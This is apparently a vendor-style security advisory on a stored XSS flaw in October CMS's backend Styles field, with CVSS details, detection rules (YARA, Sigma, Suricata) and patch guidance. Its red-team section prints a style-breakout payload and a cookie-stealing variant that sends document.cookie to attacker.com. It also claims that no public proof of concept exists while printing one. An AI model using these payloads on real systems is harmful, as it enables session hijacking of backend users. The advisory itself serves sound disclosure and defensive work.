CVE-2025-61676

Executive Summary

CVE-2025-61676 is a stored Cross-Site Scripting (XSS) vulnerability in October CMS, a popular PHP-based content management system. The flaw resides in the backend configuration forms, specifically within the "Styles" input field under "Branding & Appearance" settings. An authenticated user with the "Customize Backend Styles" permission can inject malicious HTML and JavaScript code. Due to insufficient input sanitization, the injected payload can break out of the intended <style> context, leading to arbitrary script execution across backend pages for all users. This vulnerability has a CVSS score of 6.1 (Medium) and is patched in versions 3.7.13 and 4.0.12. No public proof-of-concept (PoC) or exploit code is currently available.

Supply Chain & Package Security

October CMS is distributed as a Composer package via Packagist. The vulnerability affects the core backend styling module. Users should update their composer.json to require "october/october": ">=3.7.13" or "october/october": ">=4.0.12" and run composer update. No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): High (H) - An attacker needs a valid backend account with the "Customize Backend Styles" permission.
• User Interaction (UI): Required (R) - A victim user must visit a backend page where the malicious style is applied.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited data exposure is possible.
• Integrity (I): Low (L) - Limited data modification is possible.
• Availability (A): Low (L) - Limited service disruption is possible.

Threat Level: Medium. Exploitation requires authenticated access with specific permissions, but the impact can affect all backend users, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the backend styling configuration. October CMS allows authorized users to customize the backend appearance by injecting custom CSS into a <style> tag. The input is not properly sanitized, allowing an attacker to break out of the <style> context.

Root Cause: The application fails to escape or validate the user-supplied CSS input. An attacker can inject a closing </style> tag followed by arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker with the "Customize Backend Styles" permission navigates to Settings > Branding & Appearance > Styles.
2. The attacker inputs a payload such as: </style><script>alert('XSS')</script><style>
3. The application stores this payload in the database.
4. When any backend user loads a page that includes the custom styles, the injected script executes in the context of the victim's session.

Impact: The attacker can perform actions on behalf of the victim, steal session cookies, deface backend pages, or redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely directly outputs the user input into a <style> tag without sanitization.

// Vulnerable: Direct output without escaping
echo '<style>' . $userInput . '</style>';

Patched Code (Conceptual): The patched code sanitizes the input to ensure it only contains valid CSS and strips any HTML tags.

// Patched: Sanitize input to allow only CSS
$sanitizedInput = strip_tags($userInput);
echo '<style>' . $sanitizedInput . '</style>';

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid October CMS backend account with the "Customize Backend Styles" permission.
• Access to the backend at /backend/october/system/settings/update/october_backend_settings.

Exploitation Steps:

1. Log in to the October CMS backend.
2. Navigate to Settings > Branding & Appearance > Styles.
3. In the "Styles" textarea, inject the following payload:

   </style><script>alert('XSS')</script><style>
   

4. Save the settings.
5. Any backend user visiting any page will see the alert box.

Advanced Payload (Session Stealing):

</style><script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script><style>

Blue Team (Defensive)

Detection:

• Monitor backend access logs for unusual activity in the Styles settings page.
• Look for HTTP requests containing </style> or <script> in the styles parameter.
• Use WAF rules to block requests with HTML tags in CSS input fields.

Hunting:

• Search database for stored styles containing </style> or <script>.
• Review backend user activity logs for changes to the system_settings table.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /backend/october/system/settings/update/october_backend_settings with payloads containing </style>.
  • Outbound connections to unknown domains from the backend server.

• File IOCs:

  • Modified entries in the system_settings database table with suspicious CSS values.

• Behavioral IOCs:

  • Unexpected JavaScript execution in the backend.
  • Unauthorized changes to backend configurations.

Detection Engineering

YARA Rule

rule october_cms_xss_cve_2025_61676 {
    meta:
        description = "Detects XSS payload in October CMS backend styles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61676"
    strings:
        $xss_payload = /<\/style>.*<script>/i
    condition:
        $xss_payload
}

Sigma Rule

title: October CMS Backend XSS via Styles
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts in October CMS backend styles input
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61676
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/backend/october/system/settings/update/october_backend_settings'
        cs-request|contains: 
            - '</style>'
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate CSS containing similar patterns (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61676 October CMS Backend XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/backend/october/system/settings/update/october_backend_settings"; http_uri; content:"</style>"; http_client_body; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade October CMS to version 3.7.13 or 4.0.12 immediately.
2. Workaround: If patching is not possible, disable the "Customize Backend Styles" permission for all non-admin users.
3. Input Validation: Implement server-side validation to strip HTML tags from the styles input.

Long-Term Mitigations:

• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits of backend configurations.
• Implement Web Application Firewall (WAF) rules to block XSS payloads.
• Educate users about the risks of granting high-level permissions.

Verification:

• After patching, verify that the styles input no longer accepts HTML tags.
• Test with the payload </style><script>alert('XSS')</script><style> to confirm it is sanitized.

Valters IT